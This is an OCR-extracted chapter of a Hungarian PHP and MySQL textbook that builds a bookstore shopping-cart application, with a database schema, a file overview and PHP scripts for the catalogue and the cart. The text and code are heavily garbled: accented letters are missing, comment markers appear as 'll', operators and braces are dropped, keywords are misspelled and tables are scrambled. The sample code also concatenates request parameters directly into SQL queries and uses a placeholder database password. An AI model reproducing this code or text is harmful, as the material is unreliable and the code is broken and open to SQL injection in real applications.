Az egyik leggyakrabban alkalmazorr szerkesztsi feladat az egyes ttelek rnak megvltoztatsa (pldul klnleges ;ynlat
vagy akci esetn). Ez azt jelenti, hogy amikor eltroljuk a vsrlk rendelst, az ltaluk az adott termkrt fizetend rat is fel
kell jegyeznnk. Knyvelsi szempontbl rmlom lenne egy olyan szituci, amikor csak az az informci lenne birtokunk
ban, hogy milyen termkeket rendelt a vsrl, s mi azoknak az aktulis ra. Ha viszont feljegyezzk a termkek vsrlskori
rt is, akkor visszakldsk vagy cserjk esetn a megfelel sszeget tudjuk jvrni a vsrlnak.
Pldnkban nem fogunk a teljestsek s a rendelsek nyomon kvetsre alkalmas felletet kifejleszteni, a ksbbiekben
azonban ignyeinknek megfelelerr kiegszthetjk a most ltrehozand alaprendszert.

A megolds ttekintse
Rakjuk most ssze az eddig ttekinterr elemeket! A rendszernknek kt alapnzere van: az egyik a felhasznli, a msik
a rendszergazdai nzet. Az elvrt funkcik vgiggondolsa utn kt folyamatbrt kaptunk, egyet-egyet a klnbz nzetek
hez. A 28.1, illetve a 28.2 brn lthatjuk ezeket.

Kosr funkci programozsa

421

28

28.1 bra: A Book-O-Rama rendszer felhasznli nzetben a ltogatk kategrikban bngszhetnek a knyvek kztt,

megtekinthetik a knyvek adatait, knyveket rakhatnak kosarukba, s megvsro/haljk azokat.

28.2 bra: A Book-O-Rama alkalmazs rendszergazdai nzetben knyveket s kategrikat lehet fe/vinni, szerkeszteni s trlni.

A 28.1 bra az oldal felhasznli fellett alkot kdok kztri fbb kapcsolatokat mutatja. A vsrl elszr a nyitoldalra
jut, amely az oldalon tallhat sszes knyvkategrit felsorolja. Innen adott kategrira, onnan pedig az egyes knyvek rszle
tes adataira lphet tovbb. A knyvek mell hivatkozst adunk a felhasznlknak, hogy kosarukba tehessk az rut. A kosrbl
az online bolt pnztrba mehernek tovbb.
A 28.2 brn az adminisztrcis felletet ltjuk, amely tbb kdot tartalmaz ugyan, m ezekben nem sok jdonsg lesz. Ezek
a kdok lehetv teszik a rendszergazdnak, hogy bejelentkezzen, majd knyveket s kategrikat adjon hozz a meglvkhz.
A knyvek s kategrik szerkesztsnek s trlsnek Iehetsgc a legegyszerbben gy valsthatjuk meg, ha az oldal
felhasznli fellethez hasonl, m arrl kiss eltr verzit jelenrunk meg a rendszergazdnak. is bngszhet a kategrik
s a knyvek kztr, m a kosr helyerr az egyes knyvekre vagy kategrikra naviglhat: szerkesztheti vagy trlheti azokat.
Azzal, hogy ugyanazokat a kdokat a rendes felhasznJk s a rendszergazdk szmra is hasznlhatv tesszk, idt s ener
git takartharunk meg.
Az alkalmazs hrom legfbb kdmodulja a kvetkez:
Katalgus
Kosr funkci s a rendels feldolgozsa (a kt, egymssal ersen sszefgg terletet egy kalap al vesszk)
Adminisztrci

422

28. fejezet

Akrcsak az elz fejezetben, most is fuggvnyknyvtrak sort hozzuk ltre, illetve hasznljuk. Ehhez a projekthez az el
zben ltotthoz hasonl fuggvny API-t fogunk ignybe venni. Prbljuk meg a HTML-t elllt kdokat egyetlen knyvrr

28

ba pakolni, mert ezzel egyrszt a mkds s a tartalom elvlasztsnak elvt kvetjk, msrszr - s ez a lnyegesebb - kny
nyebben olvasharv s kezelherv tesszk kdunkat!
A projekt rdekben aprbb vltoztatsokat kellett vgrehajtanunk a Book-O-Rama adatbzison, amit a II. rszben ltreho
zott adarbzisrl megklnbztetend a konyv _kosar nvre kereszreltnk r.
A projekt teljes kdja megtallhat a letlthet mellkletek kze. A 28.1 tblzat az alkalmazs ltal hasznlt fjlokat foglal
ja ssze.
28.1 tblzat: A

kosr Junkcit megvalst alkalmazsfjijai

Nv

Modul

Lers

index.php

Katalgus

A felhasznli nyitoldal. A rendszerben


szerepl kategrik listjt jelenti meg a fel
hasznlknak.

kategoria_megjelenitese.php

Katalgus

konyv_megjelenitese.php

Katalgus

A felhasznl szmra az adott kategria sz


szes knyvt megjelent oldal.
A felhasznl szmra az adott knyv rszle
tes adatait megjelent oldal.

kosar_megjelenitese.php

Kosr

A felhasznl szmra a kosarnak tartalmt


megjelent oldal. Termkeket is ezzel a fjllal
adhatnak a kosrhoz.

penztar.php

Kosr

A felhasznl szmra az sszes rendelsi


adatt megjelent kd. Ez gyjti be a szllt
si adatokat is.

vasarlas.php

Kosr

A felhasznltl fizetsi adatokat begyjt

feldolgozas.php

Kosr

A fizetsi adatokat feldolgoz s azokat az

bejelentkezes.php

Adminisztrci

oldal.
adatbzishoz hozzad kd.
A mdosrsokhoz szksges rendszergazdai
bejelentkezst lehetv tev kd.
kijelentkezes.php

Adminisztrci

A rendszergazdai felhasznlt kilptet kd.

admin.php

Adminisztrci

A f adminisztrcis men.

Jelszo_valtoztatas_urlap.php

Adminisztrci

A rendszergazdk jelszavnak mdostsra


szolgl rlap.

jelszo_valtoztatas.php

Adminisztrci

A rendszergazdai jelszt megvltoztat kd.

kategoria_beszurasa_urlap.php

Adminisztrci

Az rlap, amellyel a rendszergazdk j kateg

kategoria_beszurasa.php

Adminisztrci

Az adatbzisba j kategrit beszr kd.

konyv_beszurasa urlap.php

Adminisztrci

rit adhatnak az adatbzishoz.


Az rlap, amellyel a rendszergazdk j kny
vet vihetnek fel a rendszerbe.
konyv_beszurasa.php

Adminisztrci

Az adatbzisba j knyvet beszr kd.

kategora_szerkesztese_urlap.php

Adminisztrci

Az rlap, amellyel a rendszergazdk szerkeszt

kategoria szerkesztese.php

Adminisztrci

hetik a kategrikat.
A szerkesztett kategrit az adatbzisban
mdost kd.
konyv_szerkesztese_urlap.php

Adminisztrci

konyv_szerkesztese.php

Adminisztrci

Az rlap, amellyel a rendszergazdk szerkeszt


hetik a knyvek adatait.
A szerkesztett knyvadatokat az adatbzisban
mdost kd.

kategoria_torlese.php

Adminisztrci

Az adatbzisbl kategrit trl kd.

Kosr funkci programozsa

Nv

Modul

Lers

konyv_ torlese.php

Adminisztrci

Az adatbzisbl knyvet trl kd.

konyv kosar fuggvenyek.php

Fggvnyek

Az alkalmazs beillesztett fjljainak gyjtemnye.

admin_fuggvenyek.php

Fggvnyek

Az adminisztrcis kdok ltal hasznlt fgg

konyv_fuggvenyek.php

Fggvnyek

vnyek gyjtemnye.
A knyvadatok trolsra s visszakeressre
szolgl fggvnyek gyjtemnye.
Fggvnyek

rendelesi fuggvenyek.php

A rendelsi adatok trolsra s visszakeres


sre szolgl fggvnyek gyjtemnye.

Fggvnyek

A HTML kimenetet elllt fggvnyek

adat_ellenorzo fuggvenyek.php

Fggvnyek

A felhasznlk ltal bevitt adatokat ellenrz

adatbazis fuggvenyek.php

Fggvnyek

kimeneti

fuggvenyek.php

gyjtemnye.
fggvnyek gyjtemnye.
A konyv_kosar adatbzishoz kapcsolds
ra hasznlt fggvnyek gyjtemnye.
Fggvnyek

A rendszergazdai felhasznlk hitelestsre

konyv_kosar.sql

SQL

A konyv_kosar adatbzist ltrehoz SQL kd.

feltoltes.sql

SQL

felhasznaloi hitelesites
-

hasznlt fggvnyek gyjtemnye.

fuggvenyek.php

A konyv _kosar adatbzist mintaadatokkal


feltlt SQL kd.

Most pedig nzzk meg az egyes modulok megvalsitstl

Megjegyzs: Az alkalmazs komoly mennyisg kdbl pl fel. Ezek nagy rsze korbban (elssorban a 27. fejezetben) mr
megismert Junkcikat valst meg, pldul adatok trolst s visszakeresst adatbzisbl, illetve a rendszergazdaiJelhasznl
hitelestst. Rviden ezeket a kdokat is ttekink, m idnk nagy rszt a kosrfunkciknak szenteljk.

Az adatbzis ltrehozsa
Ahogy korbban mr jelezrk, aprbb mdostsokat hajtottunk vgre a II. rszben megismert Book-O-Rama adatbzison.
A konyv_kosar adatbzist elllt SQL kdot a 28.1 pldakd tartalmazza.
28.1 pldakd: konyv _kosar.sql-

A konyv_kosar adatbzist elllt SQL kd

CREATE DATABASE konyv_kosar;


USE konyv_kosar;

CREATE TABLE vasarlok

vasarloiD INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,


nev CHAR(60) NOT NULL,
lakeim

CHAR(80) NOT NULL,

varos CHAR(30) NOT NULL,


allam
irsz

CHAR(20),
CHAR(lO),

orszag CHAR(20) NOT NULL


TYPE=InnoDB;

CREATE TABLE megrendelesek

rendelesiD INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,


vasarloiD INT UNSIGNED NOT NULL

REFERENCES vasarlok(vasarloiD),

423

28

424

28. fejezet

osszeg FLOAT(6,2),
datum DATE NOT NULL,

28

rendeles_allapota CHAR(lO),
szallitasi nev CHAR(60) NOT NULL,
szallitasi eim CHAR(80) NOT NULL,
szallitasi_varos CHAR(30) NOT NULL,
szallitasi allam CHAR(20),
szallitasi_irsz CHAR(lO),
szallitasi_orszag CHAR(20) NOT NULL
TYPE=InnoDB;

CREATE TABLE konyvek

isbn CHAR(13) NOT NULL PRTMARY KEY,


szerzo CHAR(100),
eim CHAR( 100),
kategoriaiD INT UNSIGNED,
ar FLOAT(4,2) NOT NULL,
leiras VARCHAR(255)
TYPE=InnoDB;

CREATE TABLE kategoriak

kategoriaiD INT UNSIGNED NOT NULL AUTO INCREMENT PRTMARY KEY,


kategoria_neve CHAR(60) NOT NULL
TYPE=InnoDB;

CREATE TABLE rendelesi tetelek

rendelesiO int UNSIGNED NOT NULL REFERENCES rendelesek(rendelesiD),


isbn CHAR(13) NOT NULL REFERENCES konyvek(isbn),
tetel_ara FLOAT(4,2) NOT NULL,
mennyiseg TINYINT UNSIGNED NOT NULL,
PRTMARY KEY (rendelesiD, isbn)
TYPE=InnoDB;

CREATE TABLE adrnin

felhasznaloi nev CHAR(16) NOT NULL PRTMARY KEY,

j elszo

CHAR(40) NOT NULL

);

GRANT SELECT, INSERT, UPDATE, DELETE


ON konyv_kosar.*
TO konyv_kosar@loealhost

IDENTIFIED BY ' j elszo';

Semmi problma nem volr ugyan az eredeti Book-O-Rama felletre!, most azonhan tovbbi kvetelmnyeknek is meg kell
felelnie adatbzisunknak ahhoz, hogy online elrhetv rehessk.
Az eredeti adatbzison a kvetkez vltoztatsokat hajtottuk vgre:
Tovbbi cmmezk felvtele a vsrlkhoz. Ezekre az j mezkre azrt van szksg, mert a most ltrehozand alkalma
zs sokkal kzelebb ll a valdi projekrekhez.
A szllrsi cm hozzadsa a rendelshez. A vsrl elrhersge nem minden esetben azonos a szlltsi cmmel, kl
nsen akkor nem lesz az, ha pldul ajndkot vsrol az oldalon.

Kosr funkci programozsa

425

A kategoriak rbla ltrehozsa s a konyvek rblhoz hozzadorr kategoriaiD os:dop. A knyvek kategrik
ba rendezse knnyebben bngszherv teszi az oldalt.
A tetel_ara felvrele a rendelesi_tetelek tblba. Erre azrt van szksg, merr az egyes termkek ra vltoz
har. Fontos tudnunk, hogy mennyibe kerlt az adott rrel, amikor a vsrl megrendelte.
Az admin tbla hozzadsa az adatbzishoz. Erre a tblra a rendszergazda felhasznli neve s jelszava trolsa miatt
van szksgnk.
Az rtkelseket tartalmaz tbla eltvoltsa. Ennek ellenre a projektet a ksbbiekben kiegszthetjk az egyes
knyvekhez hozzadhat rtkelsekkeL Az rtkelsek helyett a knyv rvid lerst tartalmaz mezvel bvtettk ki
a konyvek tblt.
A trolmotorok InnoDB-re vltsa. Azrr tettnk gy, hogy idegen kulcsokkal dolgozhassunk, illetve hasznlni tudjuk
a tranzakcikat, amikor a vsrlk megrendelseinek adatait visszk be az adatbzisba.
Ahhoz, hogy fellltsuk rendszernkn ezt az adatbzist, futtassuk root MySQL-felhasznlknt a konyv_kosar. sql
kdot az albbiak szerinr:
mysql

-u root -p <

konyv_kosar.sql

(A parancs futtatshoz meg kell adni root jelszavunkat.)


Mindenek eltt rdemes a konyv_ kosar felhasznlnak a ' j els z o' -nl biztonsgosabb jelszt vlasztani. Vigyzat!
Ha a konyv_kosar. sql fjlban mdostjuk a jelszt, az adatbazis_ fuggvenyek. php kdban is meg kell ezt tennnk.
(Rvidesen ltni fogjuk, hogy pontosan hol.) A projekthez tartozik egy feltoltes. sq_ nev, mintaadatokat tartalmaz f:ijl.
Ha az elbbihez hasonl mdon ezt a f:ijlt is futtatjuk MySQL-ben, a mintaadatok bekerlnek adarbzisunkba.

Az online katalgus ltrehozsa


Az alkalmazs katalgus moduljhoz hrom kd tartozik: az egyik a nyitoldal, a msik kett pedig az egyes kategrikat,

illetve az egyes knyvek rszleteit tartalmaz oldalak.


A honlap nyroldalr az index. php nev kd lltja el. E kd eredmnyt a 28.3 brn lthatjuk.
,.....-......,._,_,...

C )

.,j--=--,.;,;.;,-,;;--

.g___.-.- ---

-
K05z6ntjk a Book-O-Rama knyvesbortbanl

:= r-=-W)

--

28.3 bra: A honlap nyitoldala a megvsrolhat knyvek kategriit listzza ki.

Figyeljk meg, hogy az oldalon elrhet kategrik list:ija mellett a kosrra mutar hivatkozst is ltharunk a kperny jobb
fels sarkban! Ugyanitt a kosr aktulis rarralmrl is megjelennek sszefoglal adatok. Ezek az elemek minden oldalon lt
hatk lesznek, amig a felhasznl vlogat s vsrol az oldalon.
Ha a vsrl a kategrik valamelyikre kattint, akkor az adott kategria oldalra kerl, amit a kategoria_
megj elenitese. php

kd llt el. A 28.4 brn az internertel foglalkoz knyvek katalgust lthatjuk.

Az internetes kategriba tartoz sszes knyv hivatkozsknt szerepel. Ha a felhasznl rkattint valamelyik hivatkozsra,
a knyv rszletes adatait tartalmaz oldalra kerl. A 28.5 brn az egyik knyvet rszletesen bemutat oldalt lthatjuk.
Az ezeken az oldalakon lthat"Kosrba tesz" gomb lehetsget ad a felhasznlknak, hogy vsrls cljbl kivlasszk
a rermket. Erre a funkcira ksbb, amikor megnzzk, hogyan hozhatjuk ltre a kosarat, visszatrnk majd.
Vizsgljuk meg most egyenknt ezt a hrom kdot!

28

426

28. fejezet

28

28.4 bra: A kategria sszes knyve fnykppel jelenik meg.

28.5 bra: Mindegyik knyvnek sajt oldala van, amely tovbbi informcit, egyebek kztt hosszabb lerst tartalmaz a kiadvnyrl.

Kategrik listzsa
A projektben hasznlt els kd, az index.php az adatbzisban lev sszes kategrit kilistzza. A kdot a 28.2 pldakdban
lthatjuk.
28.2 pldakd: index. ph p -Az online knyvesbolt nyitoldalt elllt kd
<?php
session start();

include ('konyv_kosar fuggvenyek.php');


ll A kosrfunkcikhoz munkamenetekre van szksg,

ezrt indtsunk egyet!

html_fejlec letrehozasa("Kszntjk a Book-0-Rama knyvesboltban!");


echo "<p>Krjk,

vlasszon kategrit:<lp>";

ll kategrik kigyjtse az adatbzisbl


$kat tomb

kategerlak lekerese();

ll kategrik megjelentse az egyes oldalakra mutat hivatkozsokknt


kategoriak_megjelenitese($kat tomb);

ll ha adminknt jelentkeztnk be,

akkor kategria hozzadsa,

ll trlse s szerkesztse hivatkozsok megjelentse

Kosr funkci programozsa

if(isset($ SESSION [ 'admin_felhasznalo' l))


gomb_megjelenitese("admin.php",

"admin-menu",

"Admin men");

28

html lablec letrehozasa();


?>

A kd a konyv_kosar_fuggvenyek. php beilleszrsvel indul. Ez a f:ijl az alkalmazs sszes fggvnyknyvrrt tartalmazza.


Ezt kveten munkamenetet (sessiont) kell kezdennk. Erre a kosr funkci mkdse rdekben van szksg. A honlap
sszes oldala hasznlni fogja a munkamenetet.
Az index. php kd olyan HTML kimeneti fggvnyeket is meghv, mint a html_fejlee _letrehozasa () s
a

html_lablec_letrehozasa

() (mindkett a kimeneti_fuggvenyek.php knyvtrban tallhat). Ezen tlmenen

olyan utastsokat is tartalmaz, amelyekkel megllapthat, hogy a felhasznl rendszergazdaknt lpett-e be, hiszen ebben az
esetben msmilyen navigcis lehetsgeket kell megjelenteni. Erre a krdsre mg visszatrnk majd a rendszergazdai funkci
kkal foglalkoz rszben.
A kd legfontosabb rsze a kvetkez:
ll kategrik kigyjtse az adatbzisbl
$kat_tomb = kategoriak_lekerese();

ll kategrik megjelenitse az egyes oldalakra mutat hivatkozsokknt


kategoriak_megjelenitese($kat_tomb);

A kategoriak_lekerese() s a kategoriak_ megjeleni tese() fggvny a konyv_fuggvenyek.php, illerve


a

kimeneti_fuggvenyek.php

fggvnyknyvtrbl szrmazik. A kategoriak _lekerese() fggvny a rendszerben

megtallhat kategrik tmbjt adja vissza, amit a kategoriak _megjelenitese() fggvnynek adunk t. Nzzk meg
elszr a kategoriak_lekerese () fggvny kdjt, amit a 28.3 pldakdban tallunk!
28.3 pldakd: A konyv_fuggvenyek. php knyvtr kategoriak_ lekerese ()fggvnye- Ez afggvny keresi vissza

az adatbzisbl a kategrik listjt


function kategoriak_lekerese()

ll kategrialista lekrdezse az adatbzisbl


$kapcsolat = adatbazishoz_kapcsolodas();

"SELECT kategoriaiD,

$lekerdezes

$eredmeny

@$kapcsolat->query($lekerdezes);

if

kategoria_neve

FROM kategoriak";

(! $eredmeny)
return false;

$kategoriak_szama

@$eredmeny->num_rows;

if ($kategoriak_szama ==

0)

return false;

$eredmeny = adatbazis_eredmenyek_tombbe($eredmeny);
return $eredmeny;

A kdbl kiderl, hogy a kategori ak_lekerese() fggvny kapcsoldik az adatbzishoz, s visszakeresi a kategria
azonosrk s -nevek listjt. Ehhez rtunk egy adatbazis _ eredmenyek _tombbe ( ) nev fggvnyt, amely az
adatbazis_fuggvenyek. php
eredmeny

knyvrrban tallhat. Ezt a fggvnyt a 28.4 pldakd mutatja. A fggvny veszi az

vltozt, s sorok numerikusan indexelt tmbjt adja vissza, ahol a sorok mindegyike asszociatv tmb.

28.4 pldakd: Az adatbazis_fuggvenyek.php knyvtr adatbazis_eredmenyek_tombbe ()fggvnye- Afgg

vny az eredmnyeket tartalmaz tmbb alakt egy MySQL vltozi


function adatbazis_eredmenyek_tombbe($eredmeny)
$eredmeny_tomb = array();

427

428

28. fejezer

for ($szamlalo=O;

$sor = $eredmeny->fetch_assoc();

$szamlalo++) {

$eredmeny_tomb[$szamlalo] = $sor;

28
return $eredmeny_tomb;

Jelen esetben ezr a rmbr visszajuttatjuk az index. php kdba, ahol is a kimeneti_ fuggvenyek. php knyvtr
kategoriak_megjelenitese() fggvnynek adjuk r. Ez a fggvny hivatkozsknt jelenti meg az egyes kategrikat,

amely hivatkozsok az adott kategriban lv knyveket megjelent oldalra mutarnak. Kdjt a 28.5 pldakdban ralljuk.

knyvtr kategoriak_megjelenitese() fggvnye- A fggvny az


egyes kategrikra mutat hivatkozsok listjaknt jelenti meg a kategrikat tartalmaz tmbt

28.5 pldakd: A kimeneti_fuggvenyek. php

function kategoriak_megjelenitese($kat_tomb)
if (! is_array($kat_tomb))

echo "<p>Jelenleg egyetlen kategria sem rhet el</p>";


return;

echo "<ul>";
foreach ($kat tomb as $sor) {
$url

"kategoria_megjelenitese. php?kategoriaiD=". ($sor [ 'kategoriaiD' l) ;

$eim = $sor['kategoria neve'];


echo "<li>";
html_url letrehozasa($url,

$eim);

echo "</li>";

echo "</ul>";
echo "<hr />";

A kategoriak_megjelenitese() fggvny az adatbzisbl kinyert sszes kategrit hivatkozss alakitja t. Az


sszes hivatkozs a kategoria_megjelenitese. php kdra mutat, de mindegyik egymstl klnbz paramterrel

{kategoriaiD) rendelkezik. (Ez a MySQL ltal generlt egyedi szm azonostja a kategrit.) Ez a paramter hatrozza
meg, hogy az adott hivatkozsra katrintva melyik kategrit fogjuk ltni.

Adott kategria knyveinek list%sa


Az egyes kategrikban tallhat knyvek listzsa hasonl folyamat szerint trtnik. Az ezt a feladatot ellt, kategoria _
megjelenitese. php nev kdot a 28.6 pldakdban lthatjuk.

28.6 pldakd: kategoria_megjelenitese. php

-Ez a kd jelenti meg az egyes kategrikba tartoz knyveket

<?php
session_start();
include ('konyv_kosar_fuggvenyek.php');

ll

kosrfunkcikhoz munkamenetekre van szksg,

$kategoriaiD = $_GET['kategoriaiD'];
$nev = kategoria_nev_lekerese($kategoriaiD);

html feJlee letrehozasa($nev);

ezrt indtsunk egyet!

Kosr funkci programozsa

429

ll knyvadatok lekrdezse az adatbzisbl


$konyv_tomb = konyvek_lekerese($kategoriaiD};

28

konyvek_megjelenitese($konyv_tomb};

ll ha adminknt jelentkeztnk be,

akkor knyv hozzadsa,

ll trlse s szerkesztse hivatkozsok megjelenitse


if(isset($ SESSION['admin felhasznalo']}}
gomb_megjelenitese("index.php",

"tovabb",

gomb_megjelenitese("admin.php",

"admin-menu",

"Tovbb"};
"Admin men"};

gomb_megjelenitese("kategoria_szerkesztese urlap.php?kategoriaiD=".$kategoriaiD,
"kategoria-szerkesztese",
else

"Kategria szerkesztse"};

gomb_megjelenitese("index.php",

"vasarlas-folytatasa",

"Vsrls folytatsa"};

html_lablec_letrehozasa(};
?>

A fenti kd szerkezetileg a nyitoldalhoz hasonl, a klnbsg annyi, hogy kategrik helyett most knyveket keresnk
vissza az adatbzisbL
Szoks szerint a session_start(} fggvnnyel indtunk, majd a kategoria _nev_lekerese(} fggvnnyel kateg
rianvv alaktjuk t az radott kategriaazonostt:
$nev = kategoria_nev_lekerese($kategoriaiD};

A 28.7 pldakdban lthat fggvny a kategria nevt keresi ki az adatbzisbL


28.7 pldakd: A konyv _fuggvenyek.php knyvtr kategoria_nev_lekerese (}fggvnye- A kategria azonostjt
nvv talaktfggvny
function kategoria nev lekerese($kategoriaiD}

ll kategria-azonosthoz tartoz nv lekrdezse az adatbzisbl


$kapcsolat = adatbazishoz_kapcsolodas(};
$lekerdezes = "SELECT kategoria neve
WHERE kategoriaiD =
$eredmeny =
if

FROM kategoriak

'".$kategoriaiD."'";

@$kapcsolat->query($lekerdezes};

(! $eredmeny} {

return false;

$kategoriak_szama

@$eredmeny->num rows;

if ($kategoriak szaroa ==

0}

return false;

$sor = $eredmeny->fetch_object(};
return $sor->kategoria neve;

A kategria nevnek megllaptsa utn elksztjk a HTML fejlcet, majd az adott kategriba es knyvek visszakeress
vel s listzsval folytatjuk a kdot:
$konyv_tomb = konyvek_lekerese($kategoriaiD};
konyvek_megjelenitese($konyv_tomb};

A konyvek lekerese(} s a konyvek_megjelem. tese(} fggvny nagyon hasonl a kategoriak_lekerese(}


s a kategoriak _megjelenitese(} fggvnyhez, gy ezek rszleteibe most nem megynk bele. Az egyetlen klnbsg
kzttk, hogy a kategoriak helyett a konyvek tblbl keresik vissza a bennnket rdekl adatokat.

430

28. fejezet

A konyvek_megjelenitese () fggvny hivatkozst ad a kategria minden egyes knyvhez, amelyre rkattinrva az

adott knyv sajt oldalra jutunk. A hivatkozsokhoz megint csak uttagknt adunk egy paramtert, amely jelen esetben az

28

adott knyv ISBN-kdja lesz.


A kategoria_megjelenitese.php kd vgn lv utastsok tovbbi funkcikat jelentenek meg a rendszergazdaknt

bejelentkezett felhasznlk szmra. Ezeket a funkcikat a rendszergazdai felhasznlkkal foglalkoz rszben vizsgljuk meg.

A knyv rszletes adatainak megjelentse


A konyv_megjelenitese.php fjl paramterknt a knyvek ISBN-kdjt fogadva visszakeresi s megjelenti a knyvhz

tartoz adatokat. A 28.8 pldakdban ennek a fjlnak a kdjt lthatjuk.


28.8 pldakd: konyv_megjelenitese. php-Az

egyes knyvekhez tartoz rszletes informcikat megjelent kd

<?php
session start();

include ('konyv_kosar_fuggvenyek.php');

ll A kosrfunkcikhoz munkamenetekre van szksg,

ezrt indtsunk egyet!

$isbn = $_GET['isbn'l;

ll knyv kikeresse az adatbzisbl


$konyv = konyvadatok_lekerese($isbn);
html fejlee letrehozasa($konyv['cim'l);
konyvadatok_megjelenitese($konyv);

ll url belltsa a "tovbb gombhoz"


$cel

"index.php";

if($konyv [ 'kategoriaiD' l)

$cel = "kategoria_megjelenitese.php?kategoriaiD=".$konyv['kategoriaiD'l;

ll ha adminknt jelentkeznk be,


ll akkor knyvek szerkesztse hivatkozs megjelenitse
if(admin felhasznalo_ellenorzese ())

gomb megjelenitese("konyv szerkesztese_urlap.php?isbn=".$isbn,


"tetel-szerkesztese",
gomb_megjelenitese("admin.php",
gomb_megjelenitese($cel,
else

"Ttel szerkesztse");

"admin-menu",

"tovabb",

"Admin men");

"Tovbb");

gomb_megjelenitese("kosar_megjelenitese.php?uj=".$isbn,

"kosarba-tesz",

"".$konyv ['eim'l." kosrba ttele");


gomb_megjelenitese($cel,

"vasarlas-folytatasa",

"Vsrls folytatsa");

html lablec letrehozasa();


?>

Ezzel a kddal is valami hasonlt rnk el, mint az elz kt oldalon hasznlttal. Elszr is egy munkamenetet kezdnk,
majd a
$konyv = konyvadatok_lekerese($isbn);

utastssal kinyerjk a knyvrl meglv informcit az adatbzisbL Ezt kveten a


konyvadatok_megjelenitese($konyv);

fggvnnyel elksztjk az adatokat megjelent HTML-t.

Kosr funkci programozsa

431

Vegyk szre, hogy a konyvada tok_megj elen i tese ( ) fggvnyben egy kpfjl r keresnk a knyvhz az
images/". $konyv ['isbn' J

".jpg elrsi tvonallal. amelyben a fjl neve a knyv ISBN-kdja plusz a Jpg kiterjeszts!

Ha a fjl nem tallhat az images, vagyis.. kpek" almappban, nem fog kp megjelenni. A konyv_megjelenitese. php
kd tbbi rsze navigcis lehetsgeket ad az oldal lrogarjnak. Az ltalnos felhasznJk a.,Vsrls folytars' s a.,Ko
srba resz" gomb kzl vlaszthatnak. Az elbbi a kategrikat megjelent oldalra viszi a felhasznlkat, az utbbival pedig
kosarukba rakharjk az adott knyvet. Ha a felhasznl rendszergazdaknt jelentkezerr be, ms lehetsgek kzl vlaszthar ezeker az adminisztrcit trgyal rszben mutatjuk be.
Ezzel tnztk a katalgusrendszer alapjait, gy kvetkezhernek a kosr funkcit megvalst kdok.

A kosr funkci megvalstsa


A kosr funkci reljes egszben a kosar nev munkamener-vltoz krl forog. Ez a vltoz egy asszociatv tmb, amelynek
kulcsai ISBN-kdok, rtkei pedig mennyisgek. Ha valamely knyv egyeden pldnyt tesszk a kosrba, a tmb pldul a
0672329166=> l
kulcsot s rtket tartalmazza. Ez azt jelenti, hogy a kosr az ISBN 0672329166 kd knyv egyeden pldnyr tartalmazza.
Amikor termkeker rakunk a kosrba, azok hozzaddnak a rmbhz. Amikor megjelentjk a kosarat, a kosar tmb segr
sgvel keressk ki az adarbzisbl a termkek rszleres adatait.
Kr msik munkamenet-vlrozval szablyozzuk a fejlcen megjelen, a kosrban lv ttelek szmr s vgsszegt mutat
tartalmat. Ezeknek a vltozknak tetelek, illetve vegasszeg a neve.

A kos ar_megj elen i tes e. phpkd hasznlata


Vizsgljuk meg a kosar_megjelen i tese. php kdot, hogy lssuk, hogyan lehet megvalstani a kosr funkcir! Ez a kd
jelenti meg az oldalt, amit akkor lthatunk, ha a.,Kosr megtekints' vagy a.,Kosrba tesz" hivarkozsra kattintunk. Ha pa
ramter nlkl hvjuk meg a kosar_ megj elen itese. php kdot, a kosr tarralmr fogjuk Jrni. Ha paramterknt ISBN
kdot adunk t a fjlnak, akkor az adorr ISBN-kd knyver tesszk be a kosrba.
Hogy reljes mrrkben megrtsk a kd mkdsr, nzzk meg elszr a 28.6 brt!

Kosata
---

28.6 bra: A paramter nlkl meghvott kos ar_ megjelenitese. php kd egysuren a kosr tartalmt jelenti meg.
Ebben az esetben res volt a kosarunk, amikor a.,Kosr megtekints' gombra kartintottunk-vagyis mg egyeden knyver
sem jelltnk ki vsrlsra.
A 28.7 bra egy kicsir tovbb megy, merr kr knyv kivlasztsa utn murarja a kosarat. Ebben az esetben knyvnk angol
eredetijnek, a PHP and MySQL Web Development cm ktetnek az oldaln rallhat .Kosrba tesz" gombra kattintva jutor
tunk el erre az oldalra. Ha alaposabban szemgyre vesszk az URL-t tartalmaz svor, lthatjuk, hogy ezttal paramterrel
hvtuk meg a kdot. A paramter neve

u j,

rtke pedig O 6 723 29 7 6X - ez pedig nem ms, mint az imnr a kosrba terr knyv

ISBN-kdja.
Ezen az oldalon kt lehetsg kzl vlasztharunk. A .. Vltoztatsok ments' gombbal a kosrban lev rtelek mennyis
gnek vltozsait mentherjk el. Ez gy zajlik, hogy a felhasznl kzvetlenl megvltoztathatja az egyes rtelek mennyisgr,
m:yd rkarrint a gombra. Ez lnyegben egy klds gomb, amely a kosar_ megjeleni tese. php kdhoz viszi vissza a fel
hasznlt, hogy frisstse a kosarat.
A felhasznl msik lehetsge a.,Tovbb a pnzrrhoz" gombra kattints. Ezt akkor kell megtennie, ha kszen ll a fizetsre.
Rvidesen visszatrnk mg erre a funkcira.

28

432

28.fezet

28

28.7 bra: Az uj paramtert tartalmaz kosar_megjelenitese. php kd knyvet tesz a kosrba.


Egyelre azonban vizsgljuk meg a kosar_megjelenitese. php kd tartalmt! A kdot a 28.9 pldakd tartalmazza.
28.9 pldakd: kosar_megjelenitese.php-A kosarat mkdtet kd
<?php
session start();
include ('konyv kosar fuggvenyek.php');

ll A kosrfunkcikhoz munkamenetekre van szksg,

ezrt indtsunk egyet!

@$uj= $_GET['uj'];
if($uj)

//j ttel kijellve


if(!isset($_SESSION['kosar']))
$ SESSION['kosar'] = array();
$_SESSION['tetelek']= 0;
$_SESSION['vegosszeg'] ='0.00';

if (isset($ SESSION ['kosar' l [$uj l))


$ SESSION['kosar'] [$uj]++;
else

$ SESSION['kosar'] [$uj] = l;

$ SESSION['vegosszeg'] = ar szamolasa($ SESSION['kosar']);


$ SESSION['tetelek' l

tetelek_szamolasa($ SESSION['kosar' l ) ;

if(isset($ POST['mentes' l))

foreach ($_SESSION['kosar'] as $isbn => $darabszam)


if($ POST[$isbn] == '0')

unset($_SESSION['kosar' l [$isbn]);
else

$_SESSION['kosar'][$isbn]

$ POST[$isbn];

Kosr funkci programozsa

$_SESSION['vegosszeg']

433

ar_szamolasa($ SESSION['kosar']};

$_SESSION['tetelek'] = tetelek_szamolasa($_SESSION['kosar']};

28
html fejlee letrehozasa("Kosara"};

if(($_SESSION['kosar']}

&&

(array_count_values($_SESSION['kosar']}}}

kosar_megjelenitese($ SESSION['kosar']};
else
